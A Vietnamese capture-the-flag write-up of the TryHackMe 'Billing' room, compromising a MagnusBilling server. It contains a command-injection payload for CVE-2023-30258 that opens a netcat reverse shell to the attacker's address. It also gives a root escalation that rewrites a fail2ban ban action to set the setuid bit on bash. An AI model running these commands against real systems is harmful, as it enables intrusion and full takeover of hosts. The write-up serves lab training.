Bài viết

TryHackMe - Billing

Ứng dụng MagnusBilling và Asterisk dành cho hệ thống tính cước

TryHackMe - Billing

Giới thiệu

Theo tôi thì đây không phải là một room Dễ :D nhưng nó khá thú vị và chắc chắn tôi đã ghi chú lại được khá nhiều điều sau room này.

Tryhackme Room Link

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.246.75
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp   open  http     Apache httpd 2.4.56 ((Debian))
| http-title:             MagnusBilling        
|_Requested resource was http://10.10.246.75/mbilling/
|_http-server-header: Apache/2.4.56 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
3306/tcp open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open  asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Các cổng đang mở:

22/tcp 80/tcp 3306/tcp 5038/tcp

Trinh sát

1
2
3
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.246.75/FUZZ" -fl 124

ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.246.75/FUZZ" -e .html,.php

Cho đến lúc này vẫn chưa có gì đáng chú ý.

Chúng ta có thể thấy ứng dụng MagnusBilling đang được sử dụng, vì vậy hãy tìm kiếm thêm thông tin trên Google.

Sau khi kiểm tra GitHub của MagnusBilling và xem qua hệ thống tệp, chúng ta có thể truy cập tệp README.md và xác định phiên bản của ứng dụng.

All ports

Truy cập ban đầu

Có vẻ như ứng dụng dễ bị ảnh hưởng bởi CVE-2023-30258.

Dựa trên lỗ hổng đó, hãy tạo payload của chúng ta.

Khởi động Netcat listener trên máy tấn công:

1
nc -lvnp 1337

Sau đó gửi yêu cầu GET đến máy nạn nhân:

1
curl -s 'http://10.10.246.75/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.14.99.72 443 >/tmp/f;'

All ports

Sau đó, chúng ta có thể lấy user flag.

All ports

Root Flag

Hãy tạo một shell tương tác để thuận tiện hơn.

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Hãy kiểm tra xem chúng ta có thể chạy lệnh nào bằng sudo.

1
2
3
4
5
6
7
8
9
10
11
asterisk@Billing:/home/magnus$ sudo -l
sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

Chúng ta có thể chạy dịch vụ fail2ban bằng sudo, vì vậy hãy kiểm tra phiên bản.

1
2
3
asterisk@Billing:/home/magnus$ fail2ban-client --version
fail2ban-client --version
Fail2Ban v0.11.2

Khi kiểm tra trạng thái của fail2ban-server, chúng ta thấy có tám jail đang hoạt động.

1
2
3
4
$ sudo /usr/bin/fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd

Các jail xác định những tệp nhật ký nào cần được giám sát, những mẫu nào cần được phát hiện và những hành động nào sẽ được thực hiện khi có kết quả khớp.

Ví dụ, jail asterisk-iptables trong /etc/fail2ban/jail.local được cấu hình như sau:

1
2
3
4
5
6
7
[asterisk-iptables]
enabled  = true
filter   = asterisk
action   = iptables-allports[name=ASTERISK, port=all, protocol=all]
logpath  = /var/log/asterisk/messages
maxretry = 5
bantime  = 600

Để chạy lệnh với quyền root, chúng ta sửa đổi hành động được thực thi khi một địa chỉ IP bị cấm. Trước tiên, hãy kiểm tra hành động hiện tại:

1
2
$ sudo /usr/bin/fail2ban-client get asterisk-iptables actions
iptables-allports-ASTERISK

Sau đó, chúng ta thay thế lệnh actionban để thiết lập bit setuid cho /bin/bash:

1
$ sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'

Xác minh thay đổi:

1
2
$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
chmod +s /bin/bash

Chúng ta cấm thủ công một địa chỉ IP để thực thi hành động đã được sửa đổi:

1
$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4

Khi bit setuid đã được kích hoạt, giờ đây chúng ta có thể khởi chạy shell với quyền root và truy cập /root/root.txt.

1
2
3
4
asterisk@Billing:/$ /bin/bash -p
bash-5.1# python3 -c 'import os;import pty;os.setuid(0);os.setgid(0);pty.spawn("/bin/bash");'
root@Billing:/# id
uid=0(root) gid=0(root) groups=0(root),1001(asterisk)

All ports

Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .